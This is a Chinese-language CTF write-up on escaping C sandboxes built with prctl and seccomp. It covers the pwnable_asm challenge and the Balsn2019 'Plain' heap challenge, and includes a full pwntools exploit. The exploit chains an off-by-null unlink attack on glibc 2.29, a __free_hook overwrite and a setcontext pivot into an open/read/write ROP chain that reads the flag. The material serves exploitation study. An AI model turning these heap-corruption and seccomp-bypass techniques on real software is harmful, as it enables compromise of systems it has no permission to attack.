C沙箱简介

在ctf中常见的实现沙箱的机制有两种,一种是prctl函数调用,另一种就是seccomp库函数

而其一般都会禁用execve函数,使之无法直接getshell

在严格模式下甚至只支持exit(),sigreturn(),read()和write()的使用,使用其他系统调用都将会杀掉进程

对于过滤模式下,就可以指定允许使用哪些系统调用,规则是bpf,具体可以使用seccomp-tools查看

prctl函数调用

可以通过第一个参数控制程序进程去做什么,该参数常见得为3822两种情况

1
prctl(38, 1LL, 0LL, 0LL, 0LL);
  • 第一个参数为38,第二个参数为1时,禁用execve且子进程一样
1
prctl(22, 2LL, &v1);
  • 第一个参数为22
  • 第二个参数为1时,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
  • 第二个参数为2时,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则

seccomp

首先对seccomp进行初始化

1
v1 = seccomp_init(0LL);
  • 为0表示白名单模式,为0x7fff0000U则为黑名单模式
1
2
//之后对seccomp添加规则
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  • v1对应上面初始化后返回得值
  • 0x7fff0000U即黑名单模式
  • 2对应系统调用号
  • 0 对应系统调用所限制使用得参数数量,0即不限制

简单演示-pwnable_asm

程序分析

再用ida查看伪代码分析

发现虽然开启了pie保护,但是有一段使用mmap分配的固定地址的内存s

而sandbox函数内则使用seccomp对程序进行保护

而最后面则是利用输入的数据s来进行执行程序,即我们可以通过输入汇编代码插入程序来执行

seccomp-tools 查看允许使用的系统调用

也就是说只允许使用read\write\open函数来进行系统调用读取flag


高难度-Balsn2019_Plain

程序分析

一个保护全开且存在沙箱的堆题

其程序存在add、show、delete三个功能

而漏洞点主要在add函数中存在offbynull漏洞

且程序使用的glibc版本为2.29

利用思路

  1. leak libc_base、heap_base

    • 修复被seccomp打乱的堆块
    • 生成大量堆块使地址的低16位为0000,以便off by null
    • 利用free largebin使之残留fd_nextsizebk_nextsize
    • 在被free的largebin中伪造chunk_size 并修改fd_nextsize
    • 通过unlink attack使堆块申请到fake_chunk上
    • 利用重叠的堆块泄露libc地址
  2. Bypass seccomp

    • 在libc中查找gadgets,用于修改rdx寄存器
    • 控制程序执行到setcontext结构体中
    • 由setcontext中的gadgets控制寄存器执行orw
    • 在堆块中填入orw的rop链
    • 最后free掉该堆块,触发setcontext中的gadgets,得到flag

泄露地址

  1. 申请足够的多的堆块来修复被seccomp打乱的堆布局

  2. 将地址填充,提前布局控制下一个堆块地址的低16位为0

  3. 申请一个0x1000的堆块并free掉,形成largebin

    此时被free掉的0x1000的堆块fd_nextsize和bk_nextsize将指向该堆块即0x555555760000

  4. 接下来在申请一个0x28的堆块,该堆块将落在被free掉的0x1000堆块上,且其中将包括该堆快的地址(fd\bk_size的指针0x555555760000,而0x241则是后续overlap的关键

    该堆块将被用于作为后续的fake_chunk,在其中因为程序会在输入的末尾加\x00,而此时被\x00覆盖的地址也将指向该堆块地址,也正是第2步布局的原因

  5. 之后再申请大量堆块促使idx_60地址落到0x250上,即idx_61可以落到0x555555760250

    其次再新建7个0x28的堆块并free掉,用于填满tcache

    此时在free的堆块就将进入到fastbin中了,而现在free掉idx_53\idx_59\idx_52三个堆块(后续将在这三个堆块的基础上操作)

    image-20210524173931702

    在把前面填满tcache的bins申请回来后

    image-20210524173958182

    之后申请的两个堆块则用于绕过unlink的检查并控制其fd和bk都指向fake_chunk

    第三次申请的则用于对idx_60堆块的prev_size位修改,对应第4步中fake_chunk的size

    第五步堆布局示意图

  6. 最后free掉idx_60这个大堆块到unsortedbin中

    而由于前面的unlink操作,才使unsortedbin的下个地址得以申请到0x555555760010处,最后完成overlaping,继而free掉fake_chunk内的堆块来泄露libc_base和heap_base

Bypass seccomp

  1. 先在overlap中通过chunk的fd指针控制堆块可以申请到free_hook

    image-20210524174215036

  2. 然后在free_hook中填入一条gadgets

    由于是glibc2.29的原因,其参数rdi不会在赋值到rdx,所以并不能直接使用setcontext,而是需要先找到一条特殊的gadgets,来将rdi的值传到rdx上,之后再由该gadgets跳转到setcontext结构体上

    对此gadgets可以使用ropper来对libc进行查找

    1
    ropper -f ./libc-2.29.so search 'mov rdx'|grep "rdi + 8"

  3. 构造rop链,控制程序执行到setcontext中

    然后在执行free函数时,会先执行之前放在free_hook中的gadgets,之后通过jmp rax跳转到setcontext中,而setcontext中有很多的可以gadgets来对寄存器操作,进而控制程序执行到我们后面的rop链中

  4. 之后通过构造orw的rop链来控制程序读取flag文件,最后对该堆块free即可进入上述的程序流中得到flag

  5. 最后对该堆块free,拿到flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - pro_libc
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
context.terminal = ["tmux","new-window"]
# context.terminal = ["tmux","splitw","-h"]
# context.arch = "amd64"
# context.arch = "i386"
context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./note" # 本地ELF
pro_libc = "./libc-2.29.so" # Libc文件
rem_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/64/libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
log.info("No set Remote_libc...")
libc = ELF(pro_libc)
else:
libc = ELF(pro_libc)
try:
sh = remote(ip,port)
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(pro_libc)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)

### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
def add(size,payload):
sh.sendlineafter("Choice: ",'1')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Content: ",payload)

def delete(index):
sh.sendlineafter("Choice: ",'2')
sh.sendlineafter("Idx: ",str(index))

def show(index):
sh.sendlineafter("Choice: ",'3')
sh.sendlineafter("Idx: ",str(index))

#### 一
### 1
# 申请足够多的堆块来修复被seccomp所打乱堆布局
for i in range(16):
add(0x10,'0x10')
for i in range(16):
add(0x60,'0x60')
for i in range(9):
add(0x70,'0x70')
for i in range(5):
add(0xC0,'0xc0')
for i in range(2):
add(0xE0,'0xe0')

### 2
# 申请堆块控制下一个的堆块地址的低16位为0000
add(0x310,'idx_48')
add(0x4a50,'idx_49') # idx_49

### 3
# 由于前面的堆块布局,导致idx_50的地址低16位将为0,即0x55555760000
add(0xFF0,'idx_50') # idx_50 chunk_szize=0x1000
add(0x18,'idx_51') # idx_51
# 将idx_50 放入larginbin
delete(50)
# 在申请一个超大的chunk 使被free掉的idx_0x50的fd_nextsize和bk_nextsize有他自己的堆块地址
add(0x2000,'idx_50') # 503
'''
pwndbg> x /10gx 0x555555760000
0x555555760000: 0x0000000000000000 0x0000000000001001
0x555555760010: 0x00007ffff7d5d2c0 0x00007ffff7d5d2c0
0x555555760020: 0x0000555555760000 0x0000555555760000
'''

### 4 fake_chunk
# idx_50中伪造0x240的堆块,同时其fd指针将为0x555555760028
add(0x28,p64(0) + p64(0x241) + '\x28') # idx_52 fd->bk : 0xA0 - 0x18

### 5
# 申请足够多的0x30大小的堆块,使后面的idx_61落到0x555555760250的位置
add(0x28,'idx_53') # 53
add(0xf0,'idx_54') # 54
add(0x28,'idx_55') # 55
add(0x28,'idx_56') # 56
add(0x28,'idx_57') # 57
add(0x28,'idx_58') # 58
add(0x28,'idx_59') # 59
add(0x4f0,"idx_60") # 60 => 0x555555760250
# 在申请七个堆块并free掉,用来填充tcache
# idx_61 - idx_68
for i in range(61,61+7):
add(0x28,'idx_'+str(i))

for i in range(61,61+7):
delete(i)

# 在free三个0x28的堆块其中包括fake_chunk,使其都进入到fastbin
delete(53) # 0x555555760030
delete(59) # 0x555555760220
delete(52) # fake_chunk => 0x555555760000

# 把free过的七个堆块申请回来后
add(0x28,"idx_52") # idx_52
add(0x28,"idx_53")
add(0x28,"idx_59")
for i in range(61,61+4):
add(0x28,'idx_'+str(i))

# 在申请两个chunk,分别用来修改unlink时的fd和bk指针为fake_chunk的地址
add(0x28,p8(0x10)) # idx_52-addr -> idx_65
add(0x28,p8(0x10)) # idx_53-addr -> idx_66
# 之后申请到的这个堆块要落到0x555555760240处,从而使其pre_size也为0x240
add(0x28,'a' * 0x20 + p64(0x240)) # idx_59-addr -> idx_67

### 6
# libc_base
# free掉这个大堆块到unsortedbin中
delete(60)
# 由于前面的unlink操作,才使unsortedbin得下个地址得以申请到0x555555760010处
# (0x30)+(0x100)=0x140 该地址不能太大,否则会占用后续的堆块而无法利用
add(0x140,"fake_chunk") # idx_60 0x555555760010 - 0x555555760160
# main_arena96先赶,落到0x555555760170处
show(55) # idx_55 -> 0x555555760160
main_arena96 = u64(sh.recv(6).ljust(8,"\x00"))
success("main_arena96 => 0x%x",main_arena96)
libc_base = main_arena96-96-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook => 0x%x",free_hook)

# heap_base
add(0x28,"idx_68") # idx_55-addr -> idx_68
add(0x28,"idx_69") # idx_56-addr -> idx_69
delete(69)
delete(68)
show(55)
heap_base = u64(sh.recv(6).ljust(8,"\x00"))-0x1a0
success("heap_base => 0x%x",heap_base)

#### 二
### 申请堆块到free_hook
# 将空余堆块填充
add(0x28,p64(0)*2) # idx_55-addr -> idx_68
add(0x28,p64(1)*2) # idx_56-addr -> idx_69
add(0x28,p64(2)*2) # idx_57-addr -> idx_70
delete(67)
# 通过修改堆块的fd指针
# 实现任意地址写,申请堆块到free_hook
add(0x60,p64(0)*5+p64(0x31)+p64(free_hook)) # idx_67


### 在libc中找到mov rdx,rdi代码片段,写入到free_hook中
add(0x28,'idx_71') # idx_71
mov_rdx_jmp = libc_base + 0x12be97
#ropper -> 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
add(0x28,p64(mov_rdx_jmp)) # idx_72

### 设置相关地址
setcontext_addr = libc_base + libc.sym["setcontext"]+53
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0xc18ff
payload_addr = heap_base+0x270
str_flag_file = heap_base + 0x270 + 5 * 0x8 + 0xB8
str_flag_addr = heap_base

### 通过寄存器来影响程序执行流程,进而执行orw系统调用
# 当程序进入到setcontext中时,
payload = p64(setcontext_addr) # rax
payload += p64(payload_addr - 0xA0 + 0x10) # rdx
payload += p64(payload_addr + 0x28) # rop_chain
payload += p64(ret)
payload += ''.ljust(0x8,'\x00')

### orw读取flag
# open
rop_chain = p64(pop_rdi_ret) + p64(str_flag_file)# name = "./flag"
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open
# read
rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
rop_chain += p64(pop_rsi_ret) + p64(str_flag_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["read"])
# write
rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
rop_chain += p64(pop_rsi_ret) + p64(str_flag_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["write"])
payload += rop_chain
payload += './flag\x00'
add(len(payload) + 0x10,payload) # idx_73
debug("b free")
delete(73)

# debug()

return sh

def exp_2():

if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()

参考链接:

https://ctf-wiki.org/pwn/linux/sandbox/c-sandbox-escape/

https://blog.csdn.net/carol2358/article/details/108351308

http://blog.eonew.cn/archives/1233